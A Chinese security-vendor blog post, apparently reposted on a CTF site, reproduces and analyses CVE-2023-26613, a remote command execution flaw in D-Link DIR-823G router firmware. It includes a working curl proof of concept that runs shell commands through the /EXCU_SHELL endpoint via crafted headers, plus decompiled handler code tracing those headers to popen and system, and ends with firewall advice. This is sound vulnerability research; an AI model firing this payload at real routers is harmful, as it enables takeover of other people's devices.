攻防有道 | DIR823G远程命令执行(CVE-2023-26613)复现及分析

IoT 9个月前 admin
291 0 0
攻防有道 | DIR823G远程命令执行(CVE-2023-26613)复现及分析






当今万物互联,从智能汽车到智能家居,无一不联网,一旦潜在的漏洞被不法分子恶意利用,小则隐私泄露,大则危害生命。今天,我们对一款身边随处可见的联网设备中的一个漏洞来进行分析,给各位展示某款路由器的漏洞分析详细过程。






文章通过详细分析CVE-2023-26613漏洞的路由器固件,得出引发该漏洞的原因疑似出厂固件忘记屏蔽调试接口。可见有时候原厂固件也不是绝对安全的,做好防护不仅需要及时更新固件还要设置合理的访问名单,不对公网直接提供服务。条件允许还可以再增添防火墙设备加强防护。


以下是详细的漏洞复现及分析步骤:


攻防有道 | DIR823G远程命令执行(CVE-2023-26613)复现及分析
攻防有道 | DIR823G远程命令执行(CVE-2023-26613)复现及分析

漏 洞 说 明



D-Link DIR-823G 固件版本 1.02B05 固件下载链接存在远程命令执行漏洞


攻防有道 | DIR823G远程命令执行(CVE-2023-26613)复现及分析
攻防有道 | DIR823G远程命令执行(CVE-2023-26613)复现及分析

复 现 环 境



IDA、FirmAE

攻防有道 | DIR823G远程命令执行(CVE-2023-26613)复现及分析
攻防有道 | DIR823G远程命令执行(CVE-2023-26613)复现及分析

复 现 过 程



使用FirmAE模拟

执行命令模拟固件

sudo ./run.sh -r test ./firmwares/DIRxxxxx.bin

攻防有道 | DIR823G远程命令执行(CVE-2023-26613)复现及分析


ubuntu浏览器访问http://192.168.0.1看到如图所示即可进入路由器的web管理页面,成功模拟固件

攻防有道 | DIR823G远程命令执行(CVE-2023-26613)复现及分析


远程命令执行 CVE-2023-26613复现

curl http://192.168.0.1/EXCU_SHELL -H ‘Command1: ls’ -H ‘Confirm1: apply’

攻防有道 | DIR823G远程命令执行(CVE-2023-26613)复现及分析


攻防有道 | DIR823G远程命令执行(CVE-2023-26613)复现及分析
攻防有道 | DIR823G远程命令执行(CVE-2023-26613)复现及分析

分析漏洞成因



ida分析/bin/goahead二进制文件

查看/etc/init.d/rcS文件内容,有goahead,说明固件初始化流程执行了goahead二进制文件。

攻防有道 | DIR823G远程命令执行(CVE-2023-26613)复现及分析


CVE-2023-26613 rce

查壳结果是32位mips架构二进制文件,使用ida分析goahead二进制文件。

攻防有道 | DIR823G远程命令执行(CVE-2023-26613)复现及分析


IDA中根据exp中请求ua头中的command和confirm关键字进行搜索,查sub_41D354函数

_BYTE *__fastcall sub_41D354(_DWORD *a1)
{
    int v1; // $v0
    int v2; // $v0
    int v3; // $v1
    int v4; // $v0
    int v5; // $v0
    int v6; // $s0
    int v7; // $s0
    _BYTE *result; // $v0
    int v9; // [sp+18h] [+18h]
    int v10; // [sp+1Ch] [+1Ch]
    int v11; // [sp+20h] [+20h]
    _BYTE *v12; // [sp+24h] [+24h]
    _BYTE *v13; // [sp+28h] [+28h]
    int j; // [sp+2Ch] [+2Ch]
    int k; // [sp+2Ch] [+2Ch]
    int v16; // [sp+34h] [+34h]
    int v17; // [sp+34h] [+34h]
    char v18; // [sp+38h] [+38h]
    int *mm; // [sp+3Ch] [+3Ch]
    int *kk; // [sp+40h] [+40h]
    int ii; // [sp+40h] [+40h]
    char v22; // [sp+44h] [+44h]
    int *jj; // [sp+48h] [+48h]
    int *v24; // [sp+54h] [+54h]
    const char *v25; // [sp+58h] [+58h]
    _BYTE *v26; // [sp+5Ch] [+5Ch]
    _BYTE *v27; // [sp+64h] [+64h]
    _BYTE *i; // [sp+64h] [+64h]
    _BYTE *m; // [sp+64h] [+64h]
    _BYTE *v30; // [sp+64h] [+64h]
    _BYTE *v31; // [sp+64h] [+64h]
    int *n; // [sp+64h] [+64h]
    int v33; // [sp+68h] [+68h]
    _BYTE *v34; // [sp+6Ch] [+6Ch] BYREF
    int v35; // [sp+70h] [+70h] BYREF
    char v36[264]; // [sp+74h] [+74h] BYREF

    sub_41EA84(a1, “HTTP_AUTHORIZATION”, &dword_4A27C8);
    dword_589A90 = 0;
    v26 = (_BYTE *)a1[1];
    while ( 1 )
    {
        result = v26;
        if ( !v26 )
            return result;
        result = (_BYTE *)(char)*v26;
        if ( !*v26 )
            return result;
        v27 = v26;
        v26 = (_BYTE *)strchr(v26, 10);
        if ( v26 )
            ++v26;
        v25 = (const char *)strtok(v27, “: tn”);
        if ( v25 )
        {
            v24 = (int *)strtok(0, “n”);
            if ( !v24 )
                v24 = &dword_4A27C8;
            while ( (*(_WORD *)(_ctype_b + 2 * *(char *)v24) & 0x20) != 0 )
                v24 = (int *)((char *)v24 + 1);
            sub_412EEC(v25);
            v1 = strlen(v25);
            sub_40BBEC(&v34, v1 + 6, “HTTP_%s”, v25);
            for ( i = v34; *i; ++i )
            {
                if ( *i == 45 )
                    *i = 95;
            }
            sub_412FB4(v34);
            sub_41EA84(a1, v34, v24);
            sub_403588(v34);
            if ( !strcmp(v25, “user-agent”) )
            {
                a1[55] = sub_4036C4(v24);
                v2 = strlen(a1[55]);
                memcpy(&unk_589CEC, a1[55], v2);
                if ( strstr(&unk_589CEC, “Android”) )
                {
                    byte_588D30 = 0;
                }
                else if ( strstr(&unk_589CEC, “CFNetwork”) )
                {
                    byte_588D30 = 1;
                }
                else
                {
                    byte_588D30 = 2;
                }
            }
            else if ( sub_420CA8(v25, “authorization”) )
            {
                if ( !strcmp(v25, “content-length”) )
                {
                    a1[64] = atoi(v24);
                    if ( (int)a1[64] <= 0 )
                    {
                        a1[64] = 0;
                    }
                    else
                    {
                        a1[62] |= 0x400u;
                        sub_41EA84(a1, “CONTENT_LENGTH”, v24);
                    }
                }
                else if ( !strcmp(v25, “content-type”) )
                {
                    sub_41EA84(a1, “CONTENT_TYPE”, v24);
                }
                else if ( !strcmp(v25, “soapaction”) )
                {
                    a1[329] = sub_4036C4(v24);
                    memset(&unk_589A94, 0, 100);
                    v4 = strlen(a1[329]);
                    memcpy(&unk_589A94, a1[329], v4);
                    dword_589A8C = (int)&unk_589A94;
                }
                else if ( !strcmp(v25, “host”) )
                {
                    a1[330] = sub_4036C4(v24);
                }
                else if ( !strcmp(v25, “hnap_auth”) )
                {
                    v16 = sub_4036C4(v24);
                    memset(byte_589A58, 0, 33);
                    memset(byte_589A7C, 0, 14);
                    for ( j = 0; j < 32; ++j )
                        byte_589A58[j] = *(_BYTE *)(v16 + j);
                    v17 = v16 + 33;
                    for ( k = 0; k < 11; ++k )
                        byte_589A7C[k] = *(_BYTE *)(v17 + k);
                }
                else if ( !strcmp(v25, “cookie”) )
                {
                    v11 = 0;
                    v35 = 0;
                    a1[62] |= 8u;
                    a1[54] = sub_4036C4(v24);
                    memset(&unk_589AF8, 0, 500);
                    v5 = strlen(a1[54]);
                    memcpy(&unk_589AF8, a1[54], v5);
                    if ( !strcmp(&unk_589AF8, “uid=”) )
                        dword_589A90 = 0;
                    else
                        dword_589A90 = (int)&unk_589AF8;
                    v35 = strstr(a1[54], “login&pass”);
                    if ( v35 )
                    {
                        v10 = strsep(&v35, “;”);
                        if ( v35 && strstr(v35, “login&pass”) )
                            v11 = v35;
                        if ( v10 && strstr(v10, “login&pass”) )
                            v11 = v10;
                        if ( v11 )
                        {
                            v12 = (_BYTE *)strchr(v11, 61);
                            if ( v12 )
                                *v12++ = 0;
                            v13 = (_BYTE *)strchr(v12, 58);
                            if ( v13 )
                                *v13++ = 0;
                            a1[53] = sub_4036C4(v12);
                            a1[52] = sub_4036C4(v13);
                        }
                    }
                }
                else if ( (const char *)strstr(v25, “command“) == v25 )
                {
                    while ( 1 )
                    {
                        v9 = strstr(v24, “%20”);
                        if ( !v9 )
                            break;
                        memcpy(v9, ”   “, 3);
                    }
                    if ( atoi(v25 + 7) – 1 >= 128 )
                    {
                        puts(“websParseRequest0: cmd number beyond “MAX_CMD_NUM” !”);
                    }
                    else
                    {
                        v6 = atoi(v25 + 7) – 1;
                        a1[2 * v6 + 72] = sub_4036C4(v24);
                    }
                    a1[71] = 0;
                }
                else if ( (const char *)strstr(v25, “confirm“) == v25 )
                {
                    if ( atoi(v25 + 7) – 1 >= 128 )
                    {
                        puts(“websParseRequest1: cmd number beyond “MAX_CMD_NUM” !”);
                    }
                    else
                    {
                        v7 = atoi(v25 + 7) – 1;
                        a1[2 * v7 + 73] = sub_4036C4(v24);
                    }
                }
                else if ( (const char *)strstr(v25, “mode”) == v25 )
                {
                    if ( a1[328] )
                        sub_403588(a1[328]);
                    a1[328] = sub_4036C4(v24);
                }
            }
            else
            {
                v33 = sub_4036C4(v24);
                for ( m = (_BYTE *)v33; (*(_WORD *)(_ctype_b + 2 * (char)*m) & 4) != 0; ++m )
                    ;
                *m = 0;
                a1[51] = sub_4036C4(v33);
                sub_403588(v33);
                if ( sub_420CA8(a1[51], “basic”) )
                {
                    a1[62] |= 0x20000u;
                    for ( n = v24;
               (*(_WORD *)(_ctype_b + 2 * *(char *)n) & 0x800) != 0
               || *(_BYTE *)n == 47
               || *(_BYTE *)n == 95
               || *(_BYTE *)n == 46
               || *(_BYTE *)n == 45;
               n = (int *)((char *)n + 1) )
                    {
                        ;
                    }
                    while ( (*(_WORD *)(_ctype_b + 2 * *(char *)n) & 0x800) == 0
                 && *(_BYTE *)n != 47
                 && *(_BYTE *)n != 95
                 && *(_BYTE *)n != 46
                 && *(_BYTE *)n != 45 )
                        n = (int *)((char *)n + 1);
                    LABEL_105:
                    for ( ii = strchr(n, 61); ii; ii = 0 )
                    {
                        for ( jj = n;
                 (*(_WORD *)(_ctype_b + 2 * *(char *)jj) & 0x800) != 0
                 || *(_BYTE *)jj == 47
                 || *(_BYTE *)jj == 95
                 || *(_BYTE *)jj == 46
                 || *(_BYTE *)jj == 45;
                 jj = (int *)((char *)jj + 1) )
                        {
                            ;
                        }
                        v22 = *(_BYTE *)jj;
                        *(_BYTE *)jj = 0;
                        for ( kk = (int *)(ii + 1);
                 (*(_WORD *)(_ctype_b + 2 * *(char *)kk) & 0x800) == 0
                 && *(_BYTE *)kk != 47
                 && *(_BYTE *)kk != 95
                 && *(_BYTE *)kk != 46
                 && *(_BYTE *)kk != 45;
                 kk = (int *)((char *)kk + 1) )
                        {
                            ;
                        }
                        for ( mm = kk;
                 (*(_WORD *)(_ctype_b + 2 * *(char *)mm) & 0x800) != 0
                 || *(_BYTE *)mm == 47
                 || *(_BYTE *)mm == 95
                 || *(_BYTE *)mm == 46
                 || *(_BYTE *)mm == 45;
                 mm = (int *)((char *)mm + 1) )
                        {
                            ;
                        }
                        v18 = *(_BYTE *)mm;
                        *(_BYTE *)mm = 0;
                        if ( sub_420CA8(n, “username”) )
                        {
                            if ( sub_420CA8(n, “response”) )
                            {
                                if ( sub_420CA8(n, “opaque”) )
                                {
                                    if ( sub_420CA8(n, “uri”) )
                                    {
                                        if ( sub_420CA8(n, “realm”) )
                                        {
                                            if ( sub_420CA8(n, “nonce”) )
                                            {
                                                if ( sub_420CA8(n, “nc”) )
                                                {
                                                    if ( sub_420CA8(n, “cnonce”) )
                                                    {
                                                        if ( !sub_420CA8(n, “qop”) )
                                                            a1[339] = sub_4036C4(kk);
                                                    }
                                                    else
                                                    {
                                                        a1[338] = sub_4036C4(kk);
                                                    }
                                                }
                                                else
                                                {
                                                    a1[337] = sub_4036C4(kk);
                                                }
                                            }
                                            else
                                            {
                                                a1[333] = sub_4036C4(kk);
                                            }
                                        }
                                        else
                                        {
                                            a1[332] = sub_4036C4(kk);
                                        }
                                    }
                                    else
                                    {
                                        a1[335] = sub_4036C4(kk);
                                    }
                                }
                                else
                                {
                                    a1[336] = sub_4036C4(kk);
                                }
                            }
                            else
                            {
                                a1[334] = sub_4036C4(kk);
                            }
                        }
                        else
                        {
                            a1[53] = sub_4036C4(kk);
                        }
                        *(_BYTE *)jj = v22;
                        *(_BYTE *)mm = v18;
                        for ( n = mm;
                 *(_BYTE *)n
                 && ((*(_WORD *)(_ctype_b + 2 * *(char *)n) & 0x800) != 0
                   || *(_BYTE *)n == 47
                   || *(_BYTE *)n == 95
                   || *(_BYTE *)n == 46
                   || *(_BYTE *)n == 45);
                 n = (int *)((char *)n + 1) )
                        {
                            ;
                        }
                        while ( *(_BYTE *)n
                   && (*(_WORD *)(_ctype_b + 2 * *(char *)n) & 0x800) == 0
                   && *(_BYTE *)n != 47
                   && *(_BYTE *)n != 95
                   && *(_BYTE *)n != 46
                   && *(_BYTE *)n != 45 )
                            n = (int *)((char *)n + 1);
                        if ( *(_BYTE *)n )
                            goto LABEL_105;
                    }
                }
                else
                {
                    v30 = (_BYTE *)strchr(v24, 32);
                    if ( v30 )
                    {
                        *v30 = 0;
                        sub_403588(a1[51]);
                        a1[51] = sub_4036C4(v24);
                        sub_4038F0(v36, v30 + 1, 254);
                    }
                    else
                    {
                        sub_4038F0(v36, v24, 254);
                    }
                    v31 = (_BYTE *)strchr(v36, 58);
                    if ( v31 )
                        *v31++ = 0;
                    if ( v31 )
                    {
                        a1[53] = sub_4036C4(v36);
                        v3 = sub_4036C4(v31);
                    }
                    else
                    {
                        a1[53] = sub_4036C4(&dword_4A27C8);
                        v3 = sub_4036C4(&dword_4A27C8);
                    }
                    a1[52] = v3;
                    a1[62] |= 0x10000u;
                }
            }
    }
  }
}


分析这段代码中处理HTTP请求头逻辑:第168行匹配到”Command”和”Confirm”ua头。首先使用strstr函数在v25字符串(http请求包内容)中查找ua头”command”和”confirm”。找到了则进入相应的分支处理。


对于”Command”ua头,代码会将其后面的数字减一后作为数组下标,例如“Command1”,将a1数组中第2*v6+72个元素的值设置为v24字符串的值,其中v6为解析出的数字减一后的结果,这里的示例减一后是0。


对于”Confirm”ua头,代码的处理逻辑与”Command”字段类似,也将其后的数字减一后作为数组下标,将v24字符串的值保存到a1数组中第2*v7+73个元素位置,其中v7为解析出的数字减一后的结果,和v6一致。可能会存在多个结果,但最终是和v6一一对应的,每个command都对应一个confirm。


根据poc中的/EXCU_SHELL关键字进行搜索,查询处理http请求的url入口,查看sub_423F90函数:

int sub_423F90()
{
    int v1; // $v0
    int v2; // [sp+28h] [+28h]
    int v3; // [sp+2Ch] [+2Ch]
    int v4[4]; // [sp+30h] [+30h] BYREF
    char v5[128]; // [sp+40h] [+40h] BYREF
    char v6[128]; // [sp+C0h] [+C0h] BYREF

    memset(v4, 0, sizeof(v4));
    sub_423E90(“br0”, v4);
    sub_40F750();
    sub_4158C0();
    sub_416908(“adm”, 7, 3, 0);
    if ( “admin” && aAdmin[0] && “1234” && a1234[0] )
    {
        sub_415F5C(“admin”, “1234”, “adm”, 0);
        sub_4172CC(“/”, 3, 0, “adm”);
    }
    else
    {
        error(“goahead.c”, 502, 2, “gohead.c: Warning: empty administrator account or password”);
    }
    v3 = inet_addr(v4);
    if ( v3 == -1 )
    {
        error(“goahead.c”, 531, 2, “initWebs: failed to convert %s to binary ip data”, (const char *)v4);
        return -1;
    }
    else
    {
        strcpy((int)v5, (int)off_5890B0);
        sub_40542C(v5);
        v2 = inet_ntoa(v3);
        if ( (unsigned int)(strlen(v2) + 1) >= 0x80 )
            v1 = 128;
        else
            v1 = strlen(v2) + 1;
        sub_40D104(v6, v2, v1);
        sub_4205C0(v6);
        sub_42051C(v6);
        sub_4053C4(“default.asp”);
        sub_411D4C(off_5890B4);
        sub_41BC40(dword_5890B8, dword_5890BC);
        sub_40B1F4(&dword_4A3C4C, 0, 0, sub_4110F4);
        sub_40B1F4(“/HNAP1”, 0, 0, sub_42383C);
        sub_40B1F4(“/goform”, 0, 0, sub_40A810);
        sub_40B1F4(“/cgi-bin”, 0, 0, sub_403D00);
        sub_40B1F4(“/EXCU_SHELL“, 0, 0, sub_4234CC);
        sub_40B1F4(&dword_4A3C4C, 0, 0, sub_404940);
        sub_4110B4();
        sub_40B1F4(“/”, 0, 0, sub_424320);
        return 0;
    }
}


url请求中,/EXCU_SHELL路径下,http请求会导向sub_4234CC函数

查看sub_4234CC函数:

int __fastcall sub_4234CC(int a1)
{
    int v1; // $v0
    const char *v3; // [sp+1Ch] [+1Ch]
    int v4; // [sp+20h] [+20h]
    int v5; // [sp+24h] [+24h]
    int v6; // [sp+28h] [+28h]
    int i; // [sp+2Ch] [+2Ch]
    char v8[104]; // [sp+30h] [+30h] BYREF

    v6 = 0;
    v5 = 1;
    strcpy(
        v8,
        “HTTP/1.0 200 OKrnContent-Type: text/html; charset=utf-8rnConnection: closernCache-Control: privaternrn”);
    v4 = 0;
    v3 = (const char *)malloc(10240);
    if ( v3 )
    {
        memset(v3, 0, 10240);
        v4 = malloc(51200);
        if ( v4 )
        {
            memset(v4, 0, 51200);
            for ( i = 0; i < 128; ++i )
            {
                if ( *(_DWORD *)(a1 + 8 * (i + 36)) && *(_DWORD *)(a1 + 8 * (i + 36) + 4) )
                {
                    memset(v3, 0, 10240);
                    strcpy(v3, *(_DWORD *)(a1 + 8 * (i + 36)));
                    if ( sub_4233B0(v3) )
                    {
                        printf(“ParseCMD error cmdlines:%sn”, v3);
                        v5 = -1;
                        goto LABEL_18;
                    }
                    if ( strstr(v3, “FillMacCloneMac”) )
                    {
                        strcat(v3, ” “);
                        strcat(v3, a1 + 48);
                    }
                    printf(“cmd%d:%sn”, i, v3);
                    v6 += sub_423280(v3, v4 + v6, 51200);
                }
            }
            if ( v6 > 0 )
            {
                v1 = strlen(v8);
                sub_41F734(a1, v8, v1);
                sub_41F734(a1, v4, v6);
            }
            puts(“———————websdone start”);
            sub_41FBA4(a1, 200);
            puts(“———————websdone end”);
        }
        else
        {
            printf(“websExcuteShellHandler: not enough memory (1)n!”);
            v5 = -1;
        }
    }
    else
    {
        printf(“websExcuteShellHandler: not enough memory (0)n!”);
        v5 = -1;
    }
    LABEL_18:
    free(v3);
    free(v4);
    puts(“———————free end”);
    return v5;
}


sub_4234CC函数会遍历a1[36]到a1[163]的值。而a1数组的值已经由sub_41D354函数处理并赋值。


在for循环中,代码会判断a1数组中第i+36号元素和第i+36号元素后面8个字节(共16个字节)是否都存在数据,如果都存在,则会将第i+36号元素的值解析为一个命令,并将其执行。在第30行解析命令时,代码会将第i+36号元素的值拷贝到一个临时缓冲区v3中。然后在第43行,调用sub_423280函数执行命令。


再查看sub_423280函数:

int __fastcall sub_423280(int a1, int a2, unsigned int a3)
{
    int v4; // [sp+18h] [+18h]
    int v5; // [sp+1Ch] [+1Ch]

    if ( strstr(a1, “apply”) )
    {
        sub_421468(a1);
        return 1;
    }
    else if ( a3 < 0xC801 )
    {
        v4 = popen(a1, “r”);
        if ( v4 )
        {
            v5 = fread(a2, 1, a3, v4);
            pclose(v4);
            if ( v5 > 0 )
                *(_BYTE *)(a2 + v5 – 1) = 10;
            return v5;
        }
        else
        {
            puts(“error”);
            return 0;
        }
    }
    else
    {
        puts(“Error: Invalid length”);
        return 0;
    }
}


sub_423280函数的主要作用是执行给定的命令并将其输出读入缓冲区中。如果字符串 a1 中包含 “apply” 子串,则调用sub_421468函数处理字符串 a1,否则使用popen函数执行字符串 a1 的命令,这一步是关键点,执行代码并将其结果读入缓冲区 a2 中。如果读取的字节数大于 0,则在缓冲区 a2 的末尾添加一个换行符,并返回读取的字节数。


查看sub_421468函数:

int __fastcall sub_421468(int a1, int a2, int a3, int a4, int a5, int a6, int a7, int a8)
{
  int v9; // [sp+18h] [+18h]
  int v10; // [sp+20h] [+20h] BYREF

  a6 = a2;
  a7 = a3;
  a8 = a4;
  v10 = 0;
  v9 = 0;
  if ( sub_40BD60(&v10, 20480, a1, &a6) >= 20480 )
    sub_412D50(0, “doSystem: lost data, buffer overflown”);
  if ( v10 )
  {
    v9 = system(v10);
    sub_403588(v10);
  }
  return v9;
}


sub_421468函数的作用是执行一个系统命令,并返回它的结果。函数的参数中,a1是一个指向字符缓冲区的指针,用于存储执行命令后的输出结果。a2、a3、a4是需要执行的命令及其参数,a5、a6、a7、a8是保留参数,不会被函数使用。


函数首先将a2、a3、a4分别赋值给a6、a7、a8,然后声明一个名为v10的整型变量,并将其初始化为0。接着,函数调用sub_40BD60函数,将v10、20480、a1、a6作为参数传递给它,sub_40BD60函数的作用是将a6、a7、a8组成一个命令字符串,并将命令的输出结果存储在v10指向的缓冲区中。如果命令的输出结果超过20480个字符,则函数会调用sub_412D50函数输出一个错误信息。


如果命令的输出结果存储在了缓冲区中,函数会判断缓冲区是否为空。如果缓冲区非空,则在第15行调用系统函数system执行命令,并将命令的退出状态码赋值给v9。最后,函数调用sub_403588函数释放缓冲区,并返回命令的状态码。


攻防有道 | DIR823G远程命令执行(CVE-2023-26613)复现及分析
攻防有道 | DIR823G远程命令执行(CVE-2023-26613)复现及分析

rce 漏洞分析总结



以上为http请求头中夹带“Command1: xxx Confirm1:apply”时触发rce的流程。


分析了/EXCU_SHELL路径下的请求会导向sub_4234CC函数,检测ua头中是否携带command1和confirm1关键字后(数字编号可以变,但要前后一致),然后通过一系列函数调用,最终system函数执行Command1:xxx中的xxx命令。


该漏洞疑似出厂忘记屏蔽固件调试接口。


建议增添防火墙禁止该路由器对公网提供web接口,仅对有必要的内网管理ip提供web接口。


 珞 安 科 技  简 介 


北京珞安科技有限责任公司(简称:珞安科技)成立于2016年,是专注工业网络空间安全的创新型高科技企业和国家级专精特新“小巨人”企业。

拥有业内顶尖工控安全专家团队、工业网络空间安全研究实验室和四大研发中心,坚持自主研发和技术创新,以零信任理念和体系化思想为指导,打造“实战化、易部署、易维护”工控网络安全产品体系,覆盖工控安全、业务安全和工业互联网安全,构建了全方位的工业网络空间安全防护体系。

依托强大的技术原厂商实力,积极开展安全服务和安全运营,业务遍布20多个行业的2000余家工业企业。在全国设有20+分子公司及办事处,提供7*24h安全应急服务响应,保障国家关键信息基础设施安全稳定运行。



推荐阅读

 

攻防有道 | DIR823G远程命令执行(CVE-2023-26613)复现及分析

攻防有道 | DIR823G远程命令执行(CVE-2023-26613)复现及分析

攻防有道 | DIR823G远程命令执行(CVE-2023-26613)复现及分析

攻防有道 | DIR823G远程命令执行(CVE-2023-26613)复现及分析

攻防有道 | DIR823G远程命令执行(CVE-2023-26613)复现及分析

攻防有道 | DIR823G远程命令执行(CVE-2023-26613)复现及分析

攻防有道 | DIR823G远程命令执行(CVE-2023-26613)复现及分析

原文始发于微信公众号(珞安科技):攻防有道 | DIR823G远程命令执行(CVE-2023-26613)复现及分析

版权声明:admin 发表于 2023年8月14日 下午6:01。
转载请注明:攻防有道 | DIR823G远程命令执行(CVE-2023-26613)复现及分析 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...